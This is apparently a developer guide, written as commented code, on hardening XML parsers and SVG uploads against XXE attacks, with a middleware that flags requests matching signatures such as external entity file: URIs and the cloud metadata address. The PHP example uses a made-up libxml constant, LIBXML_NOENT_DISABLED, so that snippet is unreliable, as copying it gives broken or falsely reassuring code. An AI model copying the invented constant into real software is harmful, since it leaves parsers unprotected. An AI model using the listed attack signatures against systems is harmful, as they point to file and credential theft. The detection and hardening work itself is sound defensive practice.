XML, XXE and Parser Attacks

// ── Node: libxmljs ────────────────────────────────────────────────────
import libxmljs from 'libxmljs2';

const doc = libxmljs.parseXml(xmlString, {
  noent: false,      // do NOT substitute entities
  dtdload: false,    // do not load external DTDs
  dtdvalid: false,
  nonet: true,       // no network access, ever
  huge: false,       // keep the built-in expansion limits
});

// ── Node: fast-xml-parser (no entity support at all — a good default) ──
import { XMLParser } from 'fast-xml-parser';
const parser = new XMLParser({
  processEntities: false,
  ignoreDeclaration: true,
  ignorePiTags: true,
});

// ── Bound the input before it reaches any parser ──────────────────────
app.post('/api/import',
  express.text({ type: 'application/xml', limit: '256kb' }),
  (req, res, next) => {
    // Cheap pre-checks that reject the obvious cases before parsing.
    if (/<!DOCTYPE/i.test(req.body) || /<!ENTITY/i.test(req.body)) {
      return res.status(400).json({ error: 'doctype_not_allowed' });
    }
    next();
  },
  importHandler);

/* ── Python ────────────────────────────────────────────────────────────
   # ❌ import xml.etree.ElementTree as ET; ET.fromstring(data)
   # ✅ use defusedxml, which disables all of this by default
   from defusedxml.ElementTree import fromstring
   root = fromstring(data)

   # or lxml, configured explicitly
   from lxml import etree
   parser = etree.XMLParser(resolve_entities=False, no_network=True,
                            load_dtd=False, huge_tree=False)
   root = etree.fromstring(data, parser)
*/

/* ── PHP ───────────────────────────────────────────────────────────────
   // PHP >= 8.0 disables external entity loading by default, but be explicit:
   $doc = new DOMDocument();
   $doc->resolveExternals = false;
   $doc->substituteEntities = false;
   $ok = $doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT_DISABLED);

   // And reject DOCTYPE outright when you do not need it:
   if (stripos($xml, '<!DOCTYPE') !== false) { throw new BadRequest(); }
*/

/* ── Java ──────────────────────────────────────────────────────────────
   DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
   f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
   f.setFeature("http://xml.org/sax/features/external-general-entities", false);
   f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
   f.setXIncludeAware(false);
   f.setExpandEntityReferences(false);
*/

// An SVG is an XML document that browsers EXECUTE. Three options, in order
// of preference.

// ── Option 1 (best): do not store SVG. Rasterise on upload. ───────────
import sharp from 'sharp';

export async function processAvatar(buffer) {
  // sharp renders the SVG and outputs PNG — scripts and entities are dropped.
  return sharp(buffer, { limitInputPixels: 50_000_000 })
    .resize(400, 400, { fit: 'cover' })
    .png()
    .toBuffer();
}

// ── Option 2: sanitise, if SVG must be preserved ──────────────────────
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const DOMPurify = createDOMPurify(new JSDOM('').window);

export function sanitiseSvg(svgString) {
  if (svgString.length > 512 * 1024) throw new BadRequestError('svg too large');

  // Reject entities before sanitising — DOMPurify handles markup, not DTDs.
  if (/<!DOCTYPE|<!ENTITY/i.test(svgString)) {
    throw new BadRequestError('doctype_not_allowed');
  }

  const clean = DOMPurify.sanitize(svgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    FORBID_TAGS: ['script', 'foreignObject', 'use', 'image', 'iframe'],
    FORBID_ATTR: ['onload', 'onerror', 'onclick', 'href', 'xlink:href'],
    ALLOW_DATA_ATTR: false,
  });

  if (!clean.trim()) throw new BadRequestError('svg_rejected');
  return clean;
}

// ── Option 3: serve from a separate origin, with headers that neuter it ─
app.get('/user-content/:id', async (req, res) => {
  const file = await lookup(req.params.id);
  res
    .type(file.mimeType)
    .set('Content-Disposition', 'attachment')          // download, do not render
    .set('Content-Security-Policy', "default-src 'none'; sandbox")
    .set('X-Content-Type-Options', 'nosniff')
    .send(file.buffer);
});
// Serve it from usercontent-abc.com, NOT abc.com — a separate origin means
// any script that does survive cannot touch your session or your DOM.

// The same reasoning applies to Office documents, PDFs and HTML uploads:
// they are all active content, and your origin is the thing you are protecting.

// Nobody sends a DOCTYPE by accident to a JSON-shaped API. These signatures
// have essentially zero false positives, which makes them excellent alerts.

const XXE_SIGNATURES = [
  /<!DOCTYPE/i,
  /<!ENTITY/i,
  /SYSTEM\s+["']file:/i,
  /SYSTEM\s+["']https?:/i,
  /<!\[CDATA\[.*<script/is,
  /xi:include/i,
  /169\.254\.169\.254/,               // cloud metadata, in any format
  /\/latest\/meta-data/,
];

app.use(express.text({ type: ['application/xml', 'text/xml'], limit: '256kb' }),
  (req, res, next) => {
    if (typeof req.body !== 'string') return next();

    const matched = XXE_SIGNATURES.filter((re) => re.test(req.body));
    if (matched.length) {
      // Log loudly — this is an attack, not a malformed request.
      logger.error({
        ip: req.ip,
        path: req.path,
        user: req.user?.id ?? null,
        signatures: matched.map(String),
        sample: req.body.slice(0, 500),
      }, 'XXE attempt');

      metrics.increment('security.xxe_attempt');
      alertSecurityChannel(`XXE attempt from ${req.ip} on ${req.path}`);

      // A generic error — do not tell them which check fired.
      return res.status(400).json({ error: 'invalid_request' });
    }
    next();
  });

// This is a DETECTION layer. The parser configuration is the actual fix —
// signature matching alone is bypassable with encoding, and you should assume
// a determined attacker will get past it.
//
// Its real value: one alert tells you someone is specifically targeting you,
// which is worth knowing hours before anything else surfaces.